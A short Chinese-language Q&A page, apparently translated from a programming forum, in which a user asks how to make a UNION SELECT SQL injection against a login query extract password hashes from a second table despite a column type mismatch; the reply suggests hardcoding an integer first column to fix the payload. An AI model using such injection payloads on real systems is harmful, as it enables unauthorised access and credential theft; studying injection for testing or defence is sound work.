不同列长度和数据类型的 SQL UNION

问题描述 投票:0回答:1

我有两张桌子

CREATE TABLE LOGIN (
[ID] INT NOT NULL IDENTITY(1,),
PASSWORD VARCHAR(30) NOT NULL,
CONSTRAINT [PK] PRIMARY KEY ([ID] ASC)
)
CREATE TABLE HASH (
PSWDHASH VAR(100) NOT NULL
)

我们已经可以在这里看到一个问题,

LOGIN
有两列,而
HASH
只有一列,而且
ID
中的
LOGIN
列是
INT
,而
PSWDHASH
中的
HASH
是一个 varchar。

我必须在此查询中执行 UNION SELECT 注入

SELECT * FROM login WHERE passwd = '$input';
SELECT * FROM login WHERE passwd = '' UNION SELECT PSWDHASH, null as col2 FROM HASH -- ';

这会导致

Conversion failed when converting the varchar value 'b202c5234b' to data type int 

我该如何解决这个问题?最简单的方法是将

ID
表中的
LOGIN
转换为 varchar 但 SELECT * 阻止了我。我无法将 varchar 强制转换为 ID。我可以用
ORDER BY
做点什么吗?我可以从 LOGIN 中的 col2 和 HASH 中的 col1 开始吗?

sql types union
1个回答
0
投票

您可以对产生错误的第一列进行硬编码。你试过吗

SELECT 1 as col1, PSWDHASH(在本例中第一列将为 int)

而不是

选择 PSWDHASH,col2 为空 ?

© www.soinside.com 2019 - 2024. All rights reserved.